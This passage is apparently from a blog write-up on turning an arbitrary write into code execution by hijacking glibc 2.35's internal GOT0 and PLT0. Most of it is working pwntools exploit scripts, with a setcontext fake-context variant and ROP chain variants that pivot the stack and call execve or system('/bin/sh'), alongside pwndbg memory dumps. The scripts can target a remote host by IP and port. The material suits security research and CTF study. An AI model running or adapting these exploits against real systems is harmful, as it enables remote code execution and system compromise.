def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
# g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
write_dest, write_data = setcontext32(
libc,
rip = libc.sym.execve,
rdi = libc.search(b"/bin/sh\x00").__next__(),
rsi = 0,
rdx = 0,
)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
[...]
37:01b8│ 0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
3a:01d0│ 0x7ffff7fa71d0 ◂— 0x0"""
GOT_ET_COUNT = 0x36
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
sys.exit(1)
exp()
Run
Set a breakpoint at the final call to printf
, which will trigger the attack chain.
First, we examine our deployment on the GOT (_GLOBAL_OFFSET_TABLE_
), including GOT0 and function entries:

Under our attack, all GOT entries are treated as unresolved, each populated with the PLT0 address. It can be confirmed with:

The PLT0 stub now references GOT0, which we've hijacked to point to a setcontext
-related gadget (setcontext+32
) and the argument it later uses (namely const ucontext_t *ucp
, deployed at address 0x7ffff7ac1c8
).
At 0x7ffff7ac1c8
, just next to the wiped GOT entries, we've placed our forged ucontext_t
structure:

Register values are fully controlled, allowing execution of execve("/bin/sh", 0, 0)
:

Deployment is precise. We now resume GDB and step into printf("Printf executed!")
, which is expected to call strchrnul()
internally:

Instead of calling strchrnul()
(__strchrnul_avx2)
directly, it resolves through the PLT entry at *ABS*+0xab010@plt
, corresponding to __strchrnul_avx2
.
Since the GOT entry for this internal call has been "cleaned" by our attack, execution falls back to PLT0 for resolution. PLT0 fetches its argument and target from GOT0—both now hijacked:

The gadget setcontext+32
is executed. The previous push instruction from PLT0 placed _GLOBAL_OFFSET_TABLE_+8
(pointer to our fake context buffer ucontext_t
) onto the stack:

The pop rdx
instruction at the start of setcontext+32
loads this address into rdx
, effectively passing our fake context to setcontext
. This allows us to control all critical registers and redirect the entire execution flow:

And pwned:

This setup currently requires a 0x388-byte memory region for the fake context—can the PoC be optimized to reduce this footprint? Do read on.
PoC 2
In PoC 2 we still use the same glibc 2.35 environment.
MXCSR | ldmxcsr
In PoC 1, we forged a full context buffer, but for executing execve("/bin/sh", 0, 0)
, registers prior to rdi
are actually irrelevant.
We can therefore trim the unused region by overlapping it with GOT space, using a smaller context buffer:
def create_ucontext(src: int, *, rdi=0, rsi=0, rbp=0, rbx=0, rdx=0, rcx=0,
rsp=0, rip=0xdeadbeef) -> bytearray:
b = flat({
0x68: rdi,
0x70: rsi,
0x78: rbp,
0x80: rbx,
0x88: rdx,
0x98: rcx,
0xA0: rsp,
0xA8: rip, # ret ptr
0xE0: src, # fldenv ptr
# 0x1C0: 0x1F80, # assume ldmxcsr == 0
}, filler=b'\0', word_size=64)
return b[0x68:]
We omit setting 0x1C0
, assuming it's already zero.
ldmxcsr
loads a 32-bit value into the MXCSR register, which configures SSE behavior (rounding mode, exception masks, etc.).In
setcontext()
, this value is expected at offset0x1C0
in theucontext_t
structure. While0x1F80
is the default safe value,0
is acceptable if the payload doesn't rely on SSE or floating-point behavior.
We confirm that ldmxcsr
pulls from [rdx + 0x1c0]
via:
$ objdump -M intel -d libc.so.6 | grep -i ldmxcsr
53a16: 0f ae 92 c0 01 00 00 ldmxcsr DWORD PTR [rdx+0x1c0]
53ea9: 0f ae 92 c0 01 00 00 ldmxcsr DWORD PTR [rdx+0x1c0]
This is register-relative, not absolute.
So we re-run PoC 1 and inspect the memory near the faked ucontext+0x1c0
:
pwndbg> tel 0x7ffff7fac1c8+0x1c0
00:0000│ 0x7ffff7fac388 (mp_+40) ◂— 0x1f80
01:0008│ 0x7ffff7fac390 (mp_+48) ◂— 0x0
02:0010│ 0x7ffff7fac398 (mp_+56) ◂— 0x0
03:0018│ 0x7ffff7fac3a0 (mp_+64) ◂— 0x10000
04:0020│ 0x7ffff7fac3a8 (mp_+72) ◂— 0x0
05:0028│ 0x7ffff7fac3b0 (mp_+80) ◂— 0x0
06:0030│ 0x7ffff7fac3b8 (mp_+88) ◂— 0x0
07:0038│ 0x7ffff7fac3c0 (mp_+96) —▸ 0x555555559000 ◂— 0x0
We can observe that there are zeroed regions surrounding the target address. This confirms that we can safely pivot the execution to land ldmxcsr
at a valid 0
location during exploitation.
PoC Script
Download: link
Therefore, to use the trimmed context buffer correctly, we simply add an offset of 8
bytes—skipping the initial unused fields of the ucontext_t
structure:
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, setcontext, smaller context buffer
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
def create_ucontext(src: int, *, rdi=0, rsi=0, rbp=0, rbx=0, rdx=0, rcx=0,
rsp=0, rip=0xdeadbeef) -> bytearray:
b = flat({
0x68: rdi,
0x70: rsi,
0x78: rbp,
0x80: rbx,
0x88: rdx,
0x98: rcx,
0xA0: rsp,
0xA8: rip, # ret ptr
0xE0: src, # fldenv ptr
# 0x1C0: 0x1F80, # assume ldmxcsr == 0
}, filler=b'\0', word_size=64)
return b[0x68:]
def setcontext32(libc: ELF, offset=8, **kwargs) -> (int, bytes):
"""Add offset to fake context buffer to assure ldmxcsr==0"""
global GOT_ET_COUNT
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
pa(got0)
pa(plt0)
write_dest = got0 + 8
context_dest = write_dest + 0x10 + GOT_ET_COUNT * 8 - 0x68 + offset
write_data = flat(
context_dest, # _GLOBAL_OFFSET_TABLE_+8 -> ucontext_t *ucp
libc.sym.setcontext + 32, # _GLOBAL_OFFSET_TABLE_+16 -> setcontext+32 gadget
[plt0] * GOT_ET_COUNT,
b"\x00" * offset,
create_ucontext(context_dest, rsp=libc.sym.environ+8, **kwargs),
)
warn("Ensure [0x{:x} (offset 0x{:x} in libc)] == 0 — this is used as `ldmxcsr` by `setcontext`".format(
context_dest + 0x1c0,
context_dest + 0x1c0 - libc.address
))
return write_dest, write_data
def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
# g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
write_dest, write_data = setcontext32(
libc,
rip = libc.sym.execve,
rdi = libc.search(b"/bin/sh\x00").__next__(),
rsi = 0,
rdx = 0,
)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
[...]
37:01b8│ 0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
3a:01d0│ 0x7ffff7fa71d0 ◂— 0x0"""
GOT_ET_COUNT = 0x36
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
sys.exit(1)
exp()
Run
The screenshot below illustrates how the fake context buffer overlaps cleanly with the GOT space:

As long as we ensure ldmxcsr == 0
, it's game over:

The payload is now compressed to just 0x248 bytes.
Can we shrink it even further? Read on.
PoC 3
In PoC 3 we still use the same glibc 2.35 environment.
ROP Chain
We used the gadget setcontext+32
to chain the attack, along with forging the context buffer—which demands a relatively large memory region. In real-world exploits, we often face constraints on buffer size (e.g., overflow limits), making a compact ROP chain a more space-efficient alternative.
The attack chain is straightforward:
- Overwrite
[email protected]
→ point toplt0
- Normally,
[email protected]
points to__strchrnul_avx2
. - Overwrite it to point to
PLT0
stub at.plt
(aka[email protected] = plt0_addr
). - So any indirect call to
strchrnul()
will instead enterplt0
.
- Normally,
- Overwrite
_GLOBAL_OFFSET_TABLE_ + 0x8
→ point to a ROP chain- In the PLT0 code implementation, we reference and push the value in GOT+8 on the stack (namely store it in
rsp
). - Here we place the starting address of ROP chain on GOT+8. When attack is triggered calling PLT0, it will be pushed onto stack, namely
rsp = ROP chain
.
- In the PLT0 code implementation, we reference and push the value in GOT+8 on the stack (namely store it in
- Hijack
_GLOBAL_OFFSET_TABLE_ + 0x10
→ point to gadgetpop rsp; ret
_GLOBAL_OFFSET_TABLE_ + 0x10
normally points to_dl_runtime_resolve_xsavec
, called when PLT0 code executed.- Overwrite this as a small gadget to perform stack pivot (e.g.,
pop rsp; ret
) — this pivots the stack to the previous pushed GOT+8 value, namely our ROP chain.
- Trigger the attack by calling
printf()
printf()
internally usesstrchrnul()
(especially for format strings like%p
,%s
, etc.).- Since
[email protected]
was hijacked to point to PLT0, it will now:- Execute PLT0, which does:
push [GOT + 0x08]
: ROP chainjmp [GOT + 0x10]
: Stack pivot
- Stack pivot → ROP → pwn.
- Execute PLT0, which does:
PoC Script
Download: link
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
class ROPGadgets:
def __init__(self, libc: ELF):
self.rop = ROP(libc)
self.addr = lambda x: self.rop.find_gadget(x)[0] if rop.find_gadget(x) else None
self.ggs = {
'p_rdi_r' : self.addr(['pop rdi', 'ret']),
'p_rsi_r' : self.addr(['pop rsi', 'ret']),
'p_rdx_rbx_r' : self.addr(['pop rdx', 'pop rbx', 'ret']),
'p_rax_r' : self.addr(['pop rax', 'ret']),
'p_rsp_r' : self.addr(['pop rsp', 'ret']),
'leave_r' : self.addr(['leave', 'ret']),
'ret' : self.addr(['ret']),
'syscall_r' : self.addr(['syscall', 'ret']),
}
def __getitem__(self, k: str) -> int:
return self.ggs.get(k)
def rop(libc: ELF, rop_chain, pivot) -> (int, bytes):
"""GOT+16 stack pivot to GOT+8 (pushed)"""
global GOT_ET_COUNT
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
pa(got0)
pa(plt0)
write_dest = got0 + 8
rop_dest = write_dest + 0x10 + GOT_ET_COUNT * 8
write_data = flat(
rop_dest,
pivot,
[plt0] * GOT_ET_COUNT,
rop_chain,
)
return write_dest, write_data
def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
# g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
ggs = ROPGadgets(libc)
p_rdi_r = ggs["p_rdi_r"]
p_rsi_r = ggs["p_rsi_r"]
p_rdx_rbx_r = ggs["p_rdx_rbx_r"]
rop_chain = flat(
p_rdi_r,
libc.search(b"/bin/sh\x00").__next__(),
p_rsi_r,
0,
p_rdx_rbx_r,
0, 0,
libc.sym.execve,
)
pivot = ggs["p_rsp_r"]
write_dest, write_data = rop(
libc,
rop_chain,
pivot
)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
# pause()
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
[...]
37:01b8│ 0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
3a:01d0│ 0x7ffff7fa71d0 ◂— 0x0"""
GOT_ET_COUNT = 0x36
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
sys.exit(1)
exp()
Run
GOT+8
is hijacked to point to the start of the ROP chain, while GOT+10
holds the stack pivot gadget:

When PLT0 is triggered, observe the state of rsp
, holding the ROP gadgets:

And pwned:

This time, the exploit consumes only 0x200 bytes.
Is there still room to push the boundary further? Do read on.
PoC 4
In PoC 4 we still use the same glibc 2.35 environment.
Read-Only Page
To minimize payload size, we placed the ROP chain entry point right next to the final GOT entry—positioning it close to GOT0, the start of the Global Offset Table.
However, low addresses near GOT0 sit directly at the boundary between the read-only (.rodata
) and read-write (.data
/.bss
) segments:

Since the stack grows downward, a function like system()
—which allocates stack space—may cross into this boundary, leading to a segmentation fault by trying to write on the read-only area, as confirmed during testing.
Inspection
This is a realistic issue when crafting a tight payload. If the ROP starts at the edge of a memory segment, especially rw
/ro
boundary, pushing data or calling functions can cause a fault.
We can disassemble do_system
, the internal implementation behind system
, for inspection:
pwndbg> disass do_system
Dump of assembler code for function do_system:
0x00007ffff7de3900 <+0>: push r15
0x00007ffff7de3902 <+2>: mov edx,0x1
[...]
0x00007ffff7de392e <+46>: sub rsp,0x388
0x00007ffff7de3935 <+53>: mov rax,QWORD PTR fs:0x28
0x00007ffff7de393e <+62>: mov QWORD PTR [rsp+0x378],rax
0x00007ffff7de3946 <+70>: xor eax,eax
0x00007ffff7de3948 <+72>: mov DWORD PTR [rsp+0x18],0xffffffff
0x00007ffff7de3950 <+80>: mov QWORD PTR [rsp+0x180],0x1
0x00007ffff7de395c <+92>: mov DWORD PTR [rsp+0x208],0x0
0x00007ffff7de3967 <+103>: mov QWORD PTR [rsp+0x188],0x0
0x00007ffff7de3973 <+115>: movaps XMMWORD PTR [rsp],xmm1
[...]
0x00007ffff7de39ad <+173>: lea r12,[rsp+0x80]
0x00007ffff7de39b5 <+181>: xor edi,edi
0x00007ffff7de39b7 <+183>: lea rsi,[rsp+0x188]
[...]
0x00007ffff7de39f9 <+249>: mov QWORD PTR [rsp+0x100],rax
0x00007ffff7de3a01 <+257>: lea rbp,[rsp+0x220]
[...]
0x00007ffff7de3a7a <+378>: movaps XMMWORD PTR [rsp+0x60],xmm0
0x00007ffff7de3a7f <+383>: mov QWORD PTR [rsp+0x78],0x0
[...]
0x00007ffff7de3a9f <+415>: mov DWORD PTR [rsp+0x18],0x7f00
[...]
0x00007ffff7de3ae8 <+488>: mov eax,DWORD PTR [rsp+0x18]
0x00007ffff7de3aec <+492>: mov rdx,QWORD PTR [rsp+0x378]
[...]
0x00007ffff7de3b03 <+515>: add rsp,0x388
[...]
0x00007ffff7de3b18 <+536>: lea rbp,[rsp+0x180]
[...]
0x00007ffff7de3b96 <+662>: mov DWORD PTR [rsp+0x30],eax
0x00007ffff7de3b9a <+666>: lea rax,[rsp+0x20]
0x00007ffff7de3b9f <+671>: mov QWORD PTR [rsp+0x48],rax
0x00007ffff7de3ba4 <+676>: lea rax,[rip+0xb5] # 0x7ffff7de3c60 <cancel_handler>
0x00007ffff7de3bab <+683>: mov QWORD PTR [rsp+0x40],rax
0x00007ffff7de3bb0 <+688>: movaps XMMWORD PTR [rsp+0x20],xmm4
[...]
End of assembler dump.
do_system()
reserves 0x388 (904 bytes) of stack space—in our attack, rsp
is already at the top of a writable region (near GOT0 on the edge of .data
section), this push will cross into a non-writable or unmapped region.
Then this function writes aggressively across the newly allocated stack space—including the adjacent .rodata
section, causing a segfault.
System()
Instead of execve("/bin/sh", 0, 0)
, calling an optimized ROP chain such as system("/bin/sh")
will always better suit for constrained environments, leveraging minimal register setup and ROP-based stack pivoting.
execve
requires:
rdi = "/bin/sh"
rsi = 0
rdx = 0
system
only requires:
rdi = "/bin/sh"
This saves two gadgets, which is valuable when ROP chain space is constrained. So we'll attempt to leverage it—while ensuring it doesn't trigger a segmentation fault in this test.
Attack Chain
To call system()
in our exploitation against libc GOT, we need 2 stack pivots.
- First Stack Pivot →
ROP Gadget in GOT+8
- This is same as we did in PoC 3.
- We hijack
GOT+8
to contain the address of a ROP gadget, likepop rdi; ret
. - Populate
pop rsp; ret
gadget into GOT+16. - This is triggered indirectly by redirecting a PLT entry (e.g., strchrnul@plt) to
PLT0
. - So the stack starts executing from GOT+8 onward.
- Set rdi = ”/bin/sh”
- The first gadget in our ROP chain is:
pop rdi; ret
. - Followed by a pointer to a string
/bin/sh
inside libc.
- The first gadget in our ROP chain is:
- Set rax = system
- Next, load the address of
system()
intorax
, viapop rax; ret
.
- Next, load the address of
- Second Stack Pivot and Jump:
pop rsp; ... ; jmp rax
- Second stack pivot (to somewhere safe or cleanup chain)
- Execution of
system("/bin/sh")
via jump torax
PoC Script
Download: link
# Title : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author : Axura
# Target : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, system
import sys
import inspect
from pwn import *
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delim, drop=True :p.recvuntil(delim, drop)
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64 = lambda data :u64(data.ljust(8, b"\0"))
def g(gdbscript: str = ""):
if mode["local"]:
gdb.attach(p, gdbscript=gdbscript)
elif mode["remote"]:
gdb.attach((remote_ip_addr, remote_port), gdbscript)
if gdbscript == "":
raw_input()
def pa(addr: int) -> None:
frame = inspect.currentframe().f_back
variables = {k: v for k, v in frame.f_locals.items() if v is addr}
desc = next(iter(variables.keys()), "unknown")
success(f"[LEAK] {desc} ---> {addr:#x}")
class ROPGadgets:
def __init__(self, libc: ELF):
self.rop = ROP(libc)
self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None
self.ggs = {
'p_rdi_r' : self.addr(['pop rdi', 'ret']),
'p_rsi_r' : self.addr(['pop rsi', 'ret']),
'p_rdx_rbx_r' : self.addr(['pop rdx', 'pop rbx', 'ret']),
'p_rax_r' : self.addr(['pop rax', 'ret']),
'p_rsp_r' : self.addr(['pop rsp', 'ret']),
'leave_r' : self.addr(['leave', 'ret']),
'ret' : self.addr(['ret']),
'syscall_r' : self.addr(['syscall', 'ret']),
}
def __getitem__(self, k: str) -> int:
return self.ggs.get(k)
def rop(libc: ELF, rop_chain, pivot) -> (int, bytes):
"""GOT+16 stack pivot to GOT+8 (pushed)"""
global GOT_ET_COUNT
got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
pa(got0)
pa(plt0)
write_dest = got0 + 8
rop_dest = write_dest + 0x10 + GOT_ET_COUNT * 8
write_data = flat(
rop_dest,
pivot,
[plt0] * GOT_ET_COUNT,
rop_chain,
)
return write_dest, write_data
def exp():
"""
11ee: e8 5d fe ff ff call 1050 <printf@plt>
"""
# g("breakrva 0x11ee")
leak = int(ru(b"\n"), 16)
libc_base = leak - libc.sym.printf
pa(libc_base)
libc.address = libc_base
ggs = ROPGadgets(libc)
p_rdi_r = ggs["p_rdi_r"]
p_rax_r = ggs["p_rax_r"]
# 0x000000000002d543: pop rsp; pop r13; pop r14; pop r15; jmp rax;
p_rsp_jmp_rax = libc.address + 0x2d543
safe_rsp = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") \
+ 0x3000
pa(safe_rsp)
rop_chain = flat(
p_rdi_r,
libc.search(b"/bin/sh\x00").__next__(),
p_rax_r,
libc.sym.system,
p_rsp_jmp_rax,
safe_rsp,
)
pivot = ggs["p_rsp_r"]
write_dest, write_data = rop(
libc,
rop_chain,
pivot
)
s(p64(write_dest))
s(p64(len(write_data)))
s(write_data)
success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))
# pause()
p.interactive()
if __name__ == '__main__':
"""pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
00:0000│ 0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
01:0008│ 0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
02:0010│ 0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
03:0018│ 0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
04:0020│ 0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
[...]
37:01b8│ 0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
38:01c0│ 0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
39:01c8│ 0x7ffff7fa71c8 ◂— 0x0
3a:01d0│ 0x7ffff7fa71d0 ◂— 0x0"""
GOT_ET_COUNT = 0x36
FILE_PATH = "./vuln"
LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context(arch="amd64", os="linux", endian="little")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h'] # ['<terminal_emulator>', '-e', ...]
e = ELF(FILE_PATH, checksec=False)
mode = {"local": False, "remote": False, }
env = None
print("Usage: python3 xpl.py [<ip> <port>]\n"
" - If no arguments are provided, runs in local mode (default).\n"
" - Provide <ip> and <port> to target a remote host.\n")
if len(sys.argv) == 3:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
p = remote(sys.argv[1], int(sys.argv[2]))
mode["remote"] = True
remote_ip_addr = sys.argv[1]
remote_port = int(sys.argv[2])
elif len(sys.argv) == 1:
if LIBC_PATH:
libc = ELF(LIBC_PATH)
env = {
"LD_PRELOAD": os.path.abspath(LIBC_PATH),
"LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
}
p = process(FILE_PATH, env=env)
mode["local"] = True
else:
print("[-] Error: Invalid arguments provided.")
